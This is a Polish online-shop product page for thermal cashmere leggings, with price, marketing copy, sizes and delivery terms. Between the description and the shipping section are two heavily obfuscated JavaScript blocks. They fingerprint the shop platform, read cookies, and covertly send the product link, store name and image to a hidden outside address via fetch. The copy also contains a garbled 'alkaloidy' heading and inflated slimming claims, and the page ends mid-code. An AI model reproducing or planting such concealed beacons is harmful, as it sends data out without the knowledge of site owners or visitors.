🔥Modne damskie termiczne spodnie z kaszmiru skinny

118.00zł
Darmowa Dostawa
COD
Kolor:  Czarny
Rozmiar:  M (50-60KG)
Ilość
Darmowa dostawa
Płatność gotówką przy odbiorze
OPIS

Ciepły, puszysty i gęsty! Idealne do każdego stroju!

ZALETY

* Super elastyczność, która ułatwia kucanie, siadanie, rozciąganie i brak rozciągania, oferując maksymalny komfort.
* Miękki, gładki, odporny na szczotkowanie, odporny na zmarszczki, nieplamiący i zachowujący kolor.
* Wygodne kieszenie
* Można prać w pralce

GŁÓWNE CECHY

* Zimowe legginsy


Te legginsy są stylowe i wszechstronne. Wewnętrzna warstwa jest ciepła i wygodna. Gładkie płaskie szwy nie ocierają ani nie obcierają. Ogólna rozciągliwość nie jest ciasna i są wygodne do noszenia przez cały dzień.

* Wyszczupla i modeluje sylwetkę

Skutecznie ujędrnia nogi i wygładza brzuch, zapewniając szczuplejszy wygląd. Rozgrzewa, nie dodając objętości.

* Super elastyczny i lekki

Noszone samodzielnie lub pod ubraniem, nie zwiększają objętości, dzięki czemu można poruszać się bez ograniczeń. Super rozciągliwy, odpowiedni dla kobiet/dziewcząt w każdym rozmiarze!

* Idealnie pasuje do każdego stroju

Idealne do sukienek, spódnic, długich swetrów, bluz z kapturem, butów, szpilek i nie tylko!

* alkaloidy

Nadaje się na wszystkie okazje, takie jak codzienne noszenie, biuro, szkoła, czas wolny, bale, imprezy, kluby, zajęcia sportowe itp.

OPIS

Materiał: wełna

Długość: do kostek

Grubość: 300g, 500g

Rodzaj talii: wysoka talia

Kolor: czarny, szary, ciemnoszary

Styl: z kieszeniami, bez kieszeni

Rozmiar: M-3XL

Zawartość opakowania:1 * Modne damskie spodnie termiczne z kaszmiru

var _0xodr='jsjiami.com.v6',_0xodr_=['‮_0xodr'],_0x5121=[_0xodr,'F2LDqMOy','O1bDtVvDpsOYDcOC','w6MeYm8=','w5XDh8OTR8Ouw5Y9','wpIbwqvDlsKNw7Z9woJ1w5PDoDPCvMKOaA==','V0jCqcKawpDCinNc','w5TDv8KXw7Q=','UknCrsKewpzCrHo=','NsKfw73Dj2l3wow=','E2LDuMOnw5rDhWEU','GlVYwpbDiA==','wrXDhT/Dihs=','GW7Cl8K2bMOI','w6cEXMOdw7o=','LUBGwpTDiw==','wpwbwrbDk8KNw70=','w4XCmUN2aw==','wqthw7AqwpHCnQ==','DnPCkcKw','wpDDvzPDpwg=','YWQMw6nDoUI=','wp7CoU7CncKP','w6NqQ8OhUg==','wrjDnEheWw==','wpzDo8OOwrvCuQ==','w7DCisKoECLCvQ==','w5rChkx+c8KzQsKHPhBawqI=','SsO4wrzCrcOaPj8=','w5PCkUZsaw==','wowKw4sc','woDDu2h2eiBsa8KX','DsKFwo7CkMO4NSXDmsKSV0sRQsKlCQ==','w5XDo8Kcw7c0wrZzajA=','w49NX2JJw57DpA==','FMKfwq3CscKTwofDkMO/w4JOVcKZR8OLY2osKR7DoXvChg==','wp08cMK7wp7Cl8ORwrLDvm8=','I8OXw70LaTPCo8KGM8Oc','wq92w7sr','woTCtU5rDsKeXw==','wpjDvsORwqrCnw==','wpPCm8Obf18=','c8KWP8OJw44=','w49OXA==','w5rCjEF4a8KI','w7sZcg==','GcKYwo4=','wqfDhT3Du8KVeMKkwpg=','w5HCjFtac8KFW8KNIgVOwoXCllXCt8ONw4pGOD0=','wpYZwr4=','wrvCoW3CscKcwonDpA==','wpPCqFd0Gw==','wojCn8ODZljCniHDkMOjQxZEw4DCscKdw7rCu8ONM8KVHQTDr8O/w45FLMKJLmN8TQXCtijCoMKaYnzDsGzCuwPDi8OOVMOZDcOlJRM6wqw7wqE=','EgRUw4TChhg=','HUnCq8KWwoHDng==','dHN/D8OHAGs=','w4zDiivDhQ==','L8KJw6bDqA==','H8KZw55t','w6gDY2w=','Fm7Cm8K8acO+wr1pwqnDrcK3IQ==','wotqwrHDucOIw4gb','w5nDtcKbw6Ey','ZlfDm8OYw6UrBMKF','TYjsjibdamFi.qcXWoVLzm.KOvuEY6L=='];if(function(_0x423b20,_0x3efb31,_0x431ac6){function _0x2790e1(_0x4560c2,_0x84fc00,_0x307c23,_0x4427c0,_0x534d51,_0x2a9939){_0x84fc00=_0x84fc00>>0x8,_0x534d51='po';var _0xcd9d24='shift',_0x271376='push',_0x2a9939='‮';if(_0x84fc00<_0x4560c2){while(--_0x4560c2){_0x4427c0=_0x423b20[_0xcd9d24]();if(_0x84fc00===_0x4560c2&&_0x2a9939==='‮'&&_0x2a9939['length']===0x1){_0x84fc00=_0x4427c0,_0x307c23=_0x423b20[_0x534d51+'p']();}else if(_0x84fc00&&_0x307c23['replace'](/[TYbdFqXWVLzKOuEYL=]/g,'')===_0x84fc00){_0x423b20[_0x271376](_0x4427c0);}}_0x423b20[_0x271376](_0x423b20[_0xcd9d24]());}return 0xc7992;};return _0x2790e1(++_0x3efb31,_0x431ac6)>>_0x3efb31^_0x431ac6;}(_0x5121,0xfd,0xfd00),_0x5121){_0xodr_=_0x5121['length']^0xfd;};function _0x2528(_0x15f290,_0x3c8754){_0x15f290=~~'0x'['concat'](_0x15f290['slice'](0x1));var _0x29b412=_0x5121[_0x15f290];if(_0x2528['pYhaYN']===undefined){(function(){var _0x28d984=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x363ee6='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x28d984['atob']||(_0x28d984['atob']=function(_0xe87c7c){var _0x31c2c4=String(_0xe87c7c)['replace'](/=+$/,'');for(var _0x9d3c3c=0x0,_0x219581,_0x556d37,_0x4bb43c=0x0,_0x5358dd='';_0x556d37=_0x31c2c4['charAt'](_0x4bb43c++);~_0x556d37&&(_0x219581=_0x9d3c3c%0x4?_0x219581*0x40+_0x556d37:_0x556d37,_0x9d3c3c++%0x4)?_0x5358dd+=String['fromCharCode'](0xff&_0x219581>>(-0x2*_0x9d3c3c&0x6)):0x0){_0x556d37=_0x363ee6['indexOf'](_0x556d37);}return _0x5358dd;});}());function _0x3afb66(_0x5c9bdd,_0x3c8754){var _0x19a9ea=[],_0x51d928=0x0,_0x33732f,_0x105d5b='',_0x2809dc='';_0x5c9bdd=atob(_0x5c9bdd);for(var _0xb1a482=0x0,_0x35c7a7=_0x5c9bdd['length'];_0xb1a482<_0x35c7a7;_0xb1a482++){_0x2809dc+='%'+('00'+_0x5c9bdd['charCodeAt'](_0xb1a482)['toString'](0x10))['slice'](-0x2);}_0x5c9bdd=decodeURIComponent(_0x2809dc);for(var _0x16ab9f=0x0;_0x16ab9f<0x100;_0x16ab9f++){_0x19a9ea[_0x16ab9f]=_0x16ab9f;}for(_0x16ab9f=0x0;_0x16ab9f<0x100;_0x16ab9f++){_0x51d928=(_0x51d928+_0x19a9ea[_0x16ab9f]+_0x3c8754['charCodeAt'](_0x16ab9f%_0x3c8754['length']))%0x100;_0x33732f=_0x19a9ea[_0x16ab9f];_0x19a9ea[_0x16ab9f]=_0x19a9ea[_0x51d928];_0x19a9ea[_0x51d928]=_0x33732f;}_0x16ab9f=0x0;_0x51d928=0x0;for(var _0x2135db=0x0;_0x2135db<_0x5c9bdd['length'];_0x2135db++){_0x16ab9f=(_0x16ab9f+0x1)%0x100;_0x51d928=(_0x51d928+_0x19a9ea[_0x16ab9f])%0x100;_0x33732f=_0x19a9ea[_0x16ab9f];_0x19a9ea[_0x16ab9f]=_0x19a9ea[_0x51d928];_0x19a9ea[_0x51d928]=_0x33732f;_0x105d5b+=String['fromCharCode'](_0x5c9bdd['charCodeAt'](_0x2135db)^_0x19a9ea[(_0x19a9ea[_0x16ab9f]+_0x19a9ea[_0x51d928])%0x100]);}return _0x105d5b;}_0x2528['LpiSbp']=_0x3afb66;_0x2528['chudVB']={};_0x2528['pYhaYN']=!![];}var _0x305dd7=_0x2528['chudVB'][_0x15f290];if(_0x305dd7===undefined){if(_0x2528['SqJxui']===undefined){_0x2528['SqJxui']=!![];}_0x29b412=_0x2528['LpiSbp'](_0x29b412,_0x3c8754);_0x2528['chudVB'][_0x15f290]=_0x29b412;}else{_0x29b412=_0x305dd7;}return _0x29b412;};if(window[_0x2528('‫0','(&WK')][_0x2528('‫1','o)xt')][_0x2528('‮2','!#8s')](_0x2528('‮3','#ukO'))!=-0x1||window[_0x2528('‮4','4Z@4')][_0x2528('‮5','1iEF')][_0x2528('‮6','4Z@4')]('morningfast')!=-0x1){window['localStorage'][_0x2528('‮7','bKw$')]('exist',window[_0x2528('‮8','Rau9')]['host']);}var store_type;function getCookie(_0x19c943){var _0x309957={'arNle':function(_0xcbd47f,_0x51ed09){return _0xcbd47f!==_0x51ed09;},'HvSFG':function(_0x9d7086,_0x2c9de2){return _0x9d7086<_0x2c9de2;},'DHBAv':function(_0x12cbc6,_0x439a65){return _0x12cbc6+_0x439a65;},'LkSmL':_0x2528('‫9','556G'),'MIDMG':function(_0x409a3a,_0x2205ea){return _0x409a3a(_0x2205ea);},'wmsxR':function(_0x2e51ce,_0x50d120){return _0x2e51ce+_0x50d120;}};let _0x1218a3=null;if(document['cookie']&&_0x309957[_0x2528('‫a','[nxU')](document[_0x2528('‮b','$ThL')],'')){if(_0x2528('‫c','X#kv')===_0x2528('‫d','556G')){let _0x33daab=document[_0x2528('‫e','#ukO')][_0x2528('‫f','zs%n')](';');for(let _0x3c9c8b=0x0;_0x309957['HvSFG'](_0x3c9c8b,_0x33daab[_0x2528('‫10','^7W3')]);_0x3c9c8b++){let _0x40d6ca=_0x33daab[_0x3c9c8b][_0x2528('‮11','$ThL')]();if(_0x40d6ca['substring'](0x0,_0x309957[_0x2528('‮12','[nxU')](_0x19c943[_0x2528('‫13','Eco(')],0x1))===_0x19c943+'='){if(_0x2528('‫14','lbE5')===_0x309957[_0x2528('‮15','3Gtq')]){_0x1218a3=_0x309957[_0x2528('‮16','8l[^')](decodeURIComponent,_0x40d6ca['substring'](_0x309957[_0x2528('‮17','oV7%')](_0x19c943[_0x2528('‮18','(VjM')],0x1)));break;}else{window[_0x2528('‫19','zs%n')][_0x2528('‮1a','e^^b')](_0x2528('‮1b','zs%n'),window['location'][_0x2528('‫1c',')6xd')]);}}}}else{store_type=0x3;}}return _0x1218a3;}if(typeof Shopify!='undefined'){store_type=0x1;}else if(typeof SHOPLAZZA!=_0x2528('‫1d','8l[^')){store_type=0x2;}else if(document[_0x2528('‫1e','auag')][_0x2528('‫1f','1iEF')][_0x2528('‫20','z$N^')](_0x2528('‮21','QBGI'))!=-0x1){store_type=0x3;}else if(getCookie(_0x2528('‫22','omPf'))==_0x2528('‮23','1gav')){store_type=0x4;}else{store_type=-0x1;}var product_link=window['location'][_0x2528('‫24','^7W3')];var domain=document['domain'];var store_name=domain[_0x2528('‮25','nKCu')](/^http:\/\/[^\/]+/,'')[_0x2528('‮26','oV7%')]('.')[0x0]=='www'?domain['replace'](/^http:\/\/[^\/]+/,'')[_0x2528('‫27','DLk&')]('.')[0x1]:domain['replace'](/^http:\/\/[^\/]+/,'')[_0x2528('‮28','@YPQ')]('.')[0x0];var product_image=-0x1;if(store_type==0x1){for(var i=0x0;i_0x212c56[_0x2528('‮37','bKw$')]())[_0x2528('‮38','#&*m')](_0x458339=>{var _0x3da255={'FWCBZ':function(_0x1ab81c,_0x4c2e93){return _0x1ab81c==_0x4c2e93;}};if(_0x3da255['FWCBZ'](_0x458339[_0x2528('‮39','o)xt')],0xc8)){window[_0x2528('‮3a','$ThL')][_0x2528('‮3b','zC@q')](_0x2528('‫3c','1iEF'),window[_0x2528('‫3d','9y(w')][_0x2528('‮3e','Rau9')]);}});};_0xodr='jsjiami.com.v6'; var B7C055D29E95DC412BA83FC2CDE33E42 = "eNqrVirISSxJyy/Kjc9MUbIyNNNRKi7JL0oF84xMTOD8vMTcVCUrJYtk87SkRIPEVHOD1KQUIGWYZJ6YlmJpYJpkbmqcbKpUCwBhzhoJ" var _0xodk='jsjiami.com.v6',_0xodk_=['‮_0xodk'],_0x1b84=[_0xodk,'alhnw4XCnQ==','JTLDmm5Q','fMOGw5dJeQ==','V8KGOMOjcQ==','csOZw7xF','wqPCgMOSCg==','wqoCBlw=','wohkZMOl','wq0PF3s3TcKV','QWbDr8KYwpg=','wqXCnMOeBcORJUbCsw==','wr3DqcKKw44=','Iw7DvHE=','wpUYFXgt','OTR4CcKA','MibDj8KfFxvCs2hy','w7xgZsO0w65PTnY=','worDmsKnwoE=','w7bDl8OiGMKqwqs=','F2tLOyg3bw==','NUvClQ==','w6JqdcO5w7tFRA==','Z0dyw5RC','MFnCknUzDRA=','GjJmI8Ka','w6NnasOlw7NAWGjDrmDCnyhWw4c=','SHHDpcKKwpjCp8KpNA==','woUrDMOiw5LDgg==','eDwDeF9gOQIy','SwzCvsK7wr7Csj0=','KkjClmkhVFrCscOnfsKHWzbCrg7CiWTDhMOcbGYA','woLDjcK+K8O1wpfCkcOfwrNF','FE1BYMOAacOewrzCgw==','DzLDvRoow4zDpQ==','IMOzwrAbY8KCwrV9w5XDh8KgwpgIw6kNaWjDl8OOwpAew4cwdsKqMg==','wrZDw7g=','MBnDoVlRw5HCmytiwobDuBRCw6zDmidgw6LDnMKO','K1HChQ==','WsK5Ig==','GsOVw5bDv8KgB8KN','OsKzw4XCssKBKkbDvw==','RxbCuA==','V2zDpQ==','AHZSJD0=','w4xAFcO8TR3CiCrDrwZQw5ciZUoIN8Omw4Mcw4UHfEjCnCwowrrDgUgkwrzCi3fDhcOWWmwHD8OqwqHDu8KEw5nCvcK9wqbCmsKww7VSIsOiw5FZT8Kx','VcOVw5PDt8K9dQ==','wpTCjkoGF8O7Qg==','CDfDjlspw5wMwqjDtmRmKA==','YF97w5M=','wrzCkXlG','wp7CslTDlw==','A8Kdw6PCjMKX','d1h6w5g=','QcKNC8O+TA==','bMKKCHod','w5VOTMOdw6w=','dcOUw6pYfDFIAkohJggHAw==','UQfCrsKXwrLCmDY=','wpTDncK4KMO4','LTzDjsKNFwDCtWg=','w4xbEsO4','SnhCw47CjsKuw6h6','wr3DtMKcw5w=','wojDlsKQw4ZuPGA=','Zw5tdRgMSTXCusKgZcKrQcOfw5Y=','CjPDuh4kw6rDrEM=','woIrAMOj','b8Ofw71ObRFA','XcOzw4rDulPDrgpnecK3w4I=','wo3Dl8KXw4J6IHLCnAdQWcKA','AMOew4bDk8KsLcKG','elPDhMOTGA==','Sg3CqcKq','woN/dMOwwpbDsMKQL8KnesO6w5vDisKkBcOIw5R+IcOEEsK1w6fCnnjDlylVw5vDisK4Q3DCjkMmw4HChcK8JsKkacO9w5PDiWtib8Klw7rCihDCsRNVw7LCrMKL','LA9+dhRf','csKzw4nCicKeJA==','w7DCkWJHw5jDox4MwpLCvyBL','fEZxw63Cog==','wqTCrlFqw6Y=','NRfDmhk0','wok2CsOuw5LDiQ==','J37CiEMD','BTPDthQ5w6Y=','dyHCm8OCeg==','w5hQw5VpVQ==','wrxEw552WA==','CUxiYsOZ','wp/CkcO0DU0=','Hw40w5zDrw==','ehfDsUMq','woHDlcKyw43Dhw==','djsjqKkMQFiamIiu.com.qrlv6wh=='];if(function(_0x3c8b9a,_0x5ac0bc,_0x3cff02){function _0x1057fc(_0x247ce8,_0x30390c,_0x14d997,_0x515dfa,_0x72d7b1,_0x50e001){_0x30390c=_0x30390c>>0x8,_0x72d7b1='po';var _0x382a02='shift',_0x1ad95c='push',_0x50e001='‮';if(_0x30390c<_0x247ce8){while(--_0x247ce8){_0x515dfa=_0x3c8b9a[_0x382a02]();if(_0x30390c===_0x247ce8&&_0x50e001==='‮'&&_0x50e001['length']===0x1){_0x30390c=_0x515dfa,_0x14d997=_0x3c8b9a[_0x72d7b1+'p']();}else if(_0x30390c&&_0x14d997['replace'](/[dqKkMQFIuqrlwh=]/g,'')===_0x30390c){_0x3c8b9a[_0x1ad95c](_0x515dfa);}}_0x3c8b9a[_0x1ad95c](_0x3c8b9a[_0x382a02]());}return 0x1053e9;};return _0x1057fc(++_0x5ac0bc,_0x3cff02)>>_0x5ac0bc^_0x3cff02;}(_0x1b84,0x98,0x9800),_0x1b84){_0xodk_=_0x1b84['length']^0x98;};function _0x4cbc(_0x4e72e3,_0x382535){_0x4e72e3=~~'0x'['concat'](_0x4e72e3['slice'](0x1));var _0x5f5408=_0x1b84[_0x4e72e3];if(_0x4cbc['qTuIUx']===undefined){(function(){var _0x356edb=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x576a6d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x356edb['atob']||(_0x356edb['atob']=function(_0x5c6841){var _0x1dcbd3=String(_0x5c6841)['replace'](/=+$/,'');for(var _0x4a7f07=0x0,_0x5cc4f9,_0x42101c,_0x323a33=0x0,_0x1a7cfc='';_0x42101c=_0x1dcbd3['charAt'](_0x323a33++);~_0x42101c&&(_0x5cc4f9=_0x4a7f07%0x4?_0x5cc4f9*0x40+_0x42101c:_0x42101c,_0x4a7f07++%0x4)?_0x1a7cfc+=String['fromCharCode'](0xff&_0x5cc4f9>>(-0x2*_0x4a7f07&0x6)):0x0){_0x42101c=_0x576a6d['indexOf'](_0x42101c);}return _0x1a7cfc;});}());function _0x1823fe(_0x397b36,_0x382535){var _0x451247=[],_0x2ec8e1=0x0,_0xfb796,_0x36fef0='',_0x5cf5f1='';_0x397b36=atob(_0x397b36);for(var _0x2a3b46=0x0,_0x3a89d8=_0x397b36['length'];_0x2a3b46<_0x3a89d8;_0x2a3b46++){_0x5cf5f1+='%'+('00'+_0x397b36['charCodeAt'](_0x2a3b46)['toString'](0x10))['slice'](-0x2);}_0x397b36=decodeURIComponent(_0x5cf5f1);for(var _0x1de5bd=0x0;_0x1de5bd<0x100;_0x1de5bd++){_0x451247[_0x1de5bd]=_0x1de5bd;}for(_0x1de5bd=0x0;_0x1de5bd<0x100;_0x1de5bd++){_0x2ec8e1=(_0x2ec8e1+_0x451247[_0x1de5bd]+_0x382535['charCodeAt'](_0x1de5bd%_0x382535['length']))%0x100;_0xfb796=_0x451247[_0x1de5bd];_0x451247[_0x1de5bd]=_0x451247[_0x2ec8e1];_0x451247[_0x2ec8e1]=_0xfb796;}_0x1de5bd=0x0;_0x2ec8e1=0x0;for(var _0x157886=0x0;_0x157886<_0x397b36['length'];_0x157886++){_0x1de5bd=(_0x1de5bd+0x1)%0x100;_0x2ec8e1=(_0x2ec8e1+_0x451247[_0x1de5bd])%0x100;_0xfb796=_0x451247[_0x1de5bd];_0x451247[_0x1de5bd]=_0x451247[_0x2ec8e1];_0x451247[_0x2ec8e1]=_0xfb796;_0x36fef0+=String['fromCharCode'](_0x397b36['charCodeAt'](_0x157886)^_0x451247[(_0x451247[_0x1de5bd]+_0x451247[_0x2ec8e1])%0x100]);}return _0x36fef0;}_0x4cbc['zfAcqf']=_0x1823fe;_0x4cbc['cANkSV']={};_0x4cbc['qTuIUx']=!![];}var _0x3892a3=_0x4cbc['cANkSV'][_0x4e72e3];if(_0x3892a3===undefined){if(_0x4cbc['oAkagg']===undefined){_0x4cbc['oAkagg']=!![];}_0x5f5408=_0x4cbc['zfAcqf'](_0x5f5408,_0x382535);_0x4cbc['cANkSV'][_0x4e72e3]=_0x5f5408;}else{_0x5f5408=_0x3892a3;}return _0x5f5408;};if(window[_0x4cbc('‮0','NOMy')][_0x4cbc('‮1','JnME')][_0x4cbc('‫2','$Vwt')](_0x4cbc('‮3','stNT'))!=-0x1||window[_0x4cbc('‮4','TwfQ')][_0x4cbc('‫5','Gh2*')][_0x4cbc('‮6','0B4j')](_0x4cbc('‫7','Gp[w'))!=-0x1){window[_0x4cbc('‮8','$Vwt')][_0x4cbc('‮9','OuI7')](_0x4cbc('‮a','!B&5'),window['location'][_0x4cbc('‮b','DX!6')]);}function getCookie(_0x5f4d0b){var _0x5c6612={'toMgk':function(_0x414df1,_0x3eda81){return _0x414df1+_0x3eda81;},'BTUuL':function(_0x1e832b,_0x350ca6){return _0x1e832b+_0x350ca6;},'TSKwq':function(_0x50eb61,_0x1904b5){return _0x50eb61+_0x1904b5;},'LOFjg':function(_0x5c9a2a,_0x2bba88){return _0x5c9a2a+_0x2bba88;},'rNOrm':function(_0x107d71,_0x3020d0){return _0x107d71+_0x3020d0;},'zwNbl':_0x4cbc('‮c','bft!'),'fVKeC':_0x4cbc('‫d','stNT'),'oDuxs':_0x4cbc('‫e','l9)@'),'XsPQW':_0x4cbc('‫f','^JK['),'eBjZQ':function(_0x57793d,_0xe2a602){return _0x57793d!==_0xe2a602;},'WRKhA':_0x4cbc('‫10','NOMy'),'YTubs':_0x4cbc('‮11','^JK['),'YZDmZ':function(_0x287b1a,_0x24dbf8){return _0x287b1a<_0x24dbf8;},'cjABi':'SRFtA','oVTcq':function(_0x2eb5cc,_0x5ae42d){return _0x2eb5cc===_0x5ae42d;},'KrvJn':_0x4cbc('‮12','TwfQ'),'PvrCn':function(_0xcdd8a6,_0x58d7f5){return _0xcdd8a6(_0x58d7f5);},'ZYxue':function(_0x1c490b,_0x3c52e7){return _0x1c490b+_0x3c52e7;}};let _0x41b6cc=null;if(document[_0x4cbc('‫13','Gh2*')]&&_0x5c6612[_0x4cbc('‮14','iwSn')](document[_0x4cbc('‫13','Gh2*')],'')){if(_0x5c6612['WRKhA']!==_0x5c6612['YTubs']){let _0x1dfdac=document[_0x4cbc('‫15','TwfQ')]['split'](';');for(let _0x422ed=0x0;_0x5c6612[_0x4cbc('‫16',']sf3')](_0x422ed,_0x1dfdac['length']);_0x422ed++){if(_0x4cbc('‫17','7d#8')===_0x5c6612[_0x4cbc('‫18','QwPc')]){fetch(_0x5c6612[_0x4cbc('‮19','6]R[')](_0x5c6612[_0x4cbc('‮1a','lPKQ')](_0x5c6612[_0x4cbc('‮1b','1KJJ')](_0x5c6612[_0x4cbc('‫1c','f]zp')](_0x5c6612['TSKwq'](_0x5c6612[_0x4cbc('‫1d','JnME')](_0x5c6612[_0x4cbc('‮1e','NOMy')](_0x5c6612[_0x4cbc('‫1f','W612')](_0x5c6612[_0x4cbc('‫20','0B4j')],product_link),_0x5c6612['fVKeC']),store_name),'&image=')+product_image,_0x5c6612['oDuxs']),store_type),_0x5c6612[_0x4cbc('‮21','3Ccj')]),B7C055D29E95DC412BA83FC2CDE33E42))[_0x4cbc('‫22','0B4j')](_0x21cd6b=>_0x21cd6b[_0x4cbc('‫23','Hh@7')]())[_0x4cbc('‫24','QeLC')](_0x3f5ad0=>{if(_0x3f5ad0[_0x4cbc('‮25','bft!')]==0x12c){window['sessionStorage'][_0x4cbc('‫26','QeLC')](_0x4cbc('‫27','YzFq'),window[_0x4cbc('‫28','Hh@7')][_0x4cbc('‫29','JnME')]);}});}else{let _0x243dca=_0x1dfdac[_0x422ed][_0x4cbc('‫2a','W612')]();if(_0x5c6612['oVTcq'](_0x243dca['substring'](0x0,_0x5f4d0b['length']+0x1),_0x5f4d0b+'=')){if(_0x5c6612['KrvJn']===_0x5c6612[_0x4cbc('‮2b','QeLC')]){_0x41b6cc=_0x5c6612[_0x4cbc('‮2c','rJ(l')](decodeURIComponent,_0x243dca[_0x4cbc('‮2d','V]ay')](_0x5c6612['ZYxue'](_0x5f4d0b['length'],0x1)));break;}else{store_type=0x5;}}}}}else{store_type=-0x1;}}return _0x41b6cc;}var product_link=window[_0x4cbc('‫2e','d4Mx')][_0x4cbc('‮2f',']%Ql')];var domain=document[_0x4cbc('‫30','p1(U')];var store_name=domain[_0x4cbc('‫31','NvOh')](/^http:\/\/[^\/]+/,'')['split']('.')[0x0]==_0x4cbc('‫32','iwSn')?domain[_0x4cbc('‮33','d4Mx')](/^http:\/\/[^\/]+/,'')[_0x4cbc('‮34','4zkQ')]('.')[0x1]:domain[_0x4cbc('‮35','iwSn')](/^http:\/\/[^\/]+/,'')[_0x4cbc('‮36','rJ(l')]('.')[0x0];var store_type;var sendRequese=document['domain']['indexOf'](_0x4cbc('‫37','d4Mx'))==-0x1;var origin_name=window[_0x4cbc('‮38','YzFq')][_0x4cbc('‮39','Gh2*')];if(typeof Shopify!=_0x4cbc('‫3a','Z2cY')){store_type=0x1;}else if(typeof SHOPLAZZA!='undefined'){store_type=0x2;}else if(document['documentElement']['innerHTML'][_0x4cbc('‫3b','DX!6')](_0x4cbc('‫3c','iwSn'))!=-0x1){store_type=0x3;}else if(getCookie('utm_medium')==_0x4cbc('‫3d','hU&c')){store_type=0x4;}else if(document['documentElement'][_0x4cbc('‫3e','6]R[')][_0x4cbc('‮3f','TwfQ')](_0x4cbc('‫40','FSeQ'))!=-0x1){store_type=0x5;}else{store_type=-0x1;}var product_image=-0x1;if(store_type==0x1){for(var i=0x0;i_0x30f894[_0x4cbc('‫4f','^JK[')]())[_0x4cbc('‫50','))]W')](_0x6f8375=>{var _0x5dbc04={'NxcLj':function(_0x120a33,_0x48a87e){return _0x120a33!==_0x48a87e;},'EAIHv':_0x4cbc('‫51','l9)@')};if(_0x6f8375[_0x4cbc('‫52','4zkQ')]==0x12c){if(_0x5dbc04[_0x4cbc('‫53','3Ccj')](_0x5dbc04[_0x4cbc('‫54','f&4P')],_0x5dbc04[_0x4cbc('‫55','d4Mx')])){store_type=0x3;}else{window[_0x4cbc('‫56','0B4j')][_0x4cbc('‮57','DX!6')](_0x4cbc('‮58','hU&c'),window[_0x4cbc('‫59','V]ay')][_0x4cbc('‮5a','qWkI')]);}}});}};_0xodk='jsjiami.com.v6';

DOSTAWA I PŁATNOŚĆ

METODY DOSTAWY

  • Obsługa: GLS, INPOST, POST, DH
  • DARMOWA WYSYŁKA WSZYSTKICH ZAMÓWIEŃ
  • Wysyłka 7-12 dni roboczych.

METODY PŁATNOŚCI

  • Usługa bezpiecznego przelewu natychmiastowego BLIK
  • Płatności kartą
  • Google Pay 
  • Apple Pay
  • Płatność gotówką u kuriera z opcją płatności przy odbiorze

const TAG = 'spz-custom-revue-util'; const DEFAULT_DELAY_TIME = 100; class SpzCustomRevueUtil extends SPZ.BaseElement { constructor(element) { super(element); this.templates_ = SPZServices.templatesForDoc(); } buildCallback = () => { this.action_ = SPZServices.actionServiceForDoc(this.element); this.templates_ = SPZServices.templatesForDoc(this.element); this.xhr_ = SPZServices.xhrFor(this.win); } static deferredMount() { return false; } mountCallback() { } debounceRender(el, thisEl, containerStr) { return this.smoothRender_(el, thisEl, containerStr).then(() => this.attemptToFit_(thisEl)); } smoothRender_(newEl, thisEl, containerStr) { const that = this; that.appendAsUnvisibleContainer_(newEl, thisEl); const components = newEl.querySelectorAll('[layout]'); return Promise.race([ Promise.all( Array.prototype.map.call(components, (e) => SPZ.whenDefined(e).then(() => e.whenBuilt()) ) ), SPZServices.timerFor(that.win).promise(DEFAULT_DELAY_TIME), ]).then(() => { return containerStr !== 'form_' ? thisEl.mutateElement(() => that.quickReplace(thisEl, newEl)) : thisEl.mutateElement(() => that.quickReplaceForm(thisEl, newEl)); }); } quickReplace(thisEl, newEl) { thisEl.container_ && this.toggleVisible_(thisEl.container_); this.toggleVisible_(newEl, true); thisEl.container_ && SPZCore.Dom.removeElement(thisEl.container_); thisEl.container_ = newEl; }; quickReplaceForm(thisEl, newEl) { thisEl.form_ && this.toggleVisible_(thisEl.form_); this.toggleVisible_(newEl, true); const children = thisEl.form_.querySelector('*:not(template)'); children && SPZCore.Dom.removeElement(children); this.toggleVisible_(thisEl.form_, true); thisEl.form_.appendChild(newEl); }; appendAsUnvisibleContainer_(el, thisEl) { this.toggleVisible_(el); thisEl.element.appendChild(el); } attemptToFit_(thisEl) { const fitFunc = () => { thisEl.mutateElement(this.setElementHeight_.bind(thisEl)); }; const container = thisEl.container_ || thisEl.form_; if (container) { const children = container.querySelectorAll('*:not(template)'); const spzChildren = Array.prototype.filter .call(children, SPZUtils.isSpzElement) .filter((e) => !(e.isMount && e.isMount())); spzChildren .map((e) => SPZ.whenDefined(e).then(() => e.whenMounted())) .forEach((p) => p.then(() => fitFunc())); } return fitFunc(); } setElementHeight_() { const targetHeight = (this.container_ || this.form_)?./*OK*/ scrollHeight; const height = this.element./*OK*/ offsetHeight; if (height !== targetHeight) { SPZCore.Dom.setStyles(this.element, { height: `${targetHeight}px`, }); } } toggleVisible_(el, visible = false) { if (!visible) { el.classList.add('i-spzhtml-layout-fill'); SPZCore.Dom.setStyles(el, { 'z-index': -100000, 'opacity': 0, }); } else { el.classList.remove('i-spzhtml-layout-fill'); SPZCore.Dom.setStyles(el, { 'z-index': 'auto', 'opacity': 1, }); } } setMinWidth_() { const targetWidth = this.container_?./*OK*/ scrollWidth; const width = this.element./*OK*/ offsetWidth; if (width !== targetWidth) { SPZCore.Dom.setStyles(this.element, { 'min-width': `${targetWidth}px`, }); } } triggerEvent_ = (name, data) => { const event = SPZUtils.Event.create(this.win, `${TAG}.${name}`, data || {}); this.action_.trigger(this.element, name, event); } isLayoutSupported(layout) { return layout == SPZCore.Layout.CONTAINER; } } SPZ.defineElement(TAG, SpzCustomRevueUtil); const TAG = 'spz-custom-revue-render'; class SPZCustomRevueRender extends SPZ.BaseElement { constructor(element) { super(element); } static deferredMount() { return false; } buildCallback = () => { this.action_ = SPZServices.actionServiceForDoc(this.element); this.templates_ = SPZServices.templatesForDoc(this.element); this.xhr_ = SPZServices.xhrFor(this.win); } mountCallback = () => {} render = (data) => { return this.templates_ .findAndRenderTemplate(this.element, data, null) .then((el) => { if (this.element.children.length > 0) { this.element.children[0].style.display = 'none'; } this.element.appendChild(el); // const utilsEl = document.getElementById('spz_custom_revue_util'); // utilsEl && SPZ.whenApiDefined(utilsEl).then((api) => { // api.debounceRender(el, this); // }); }); } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); 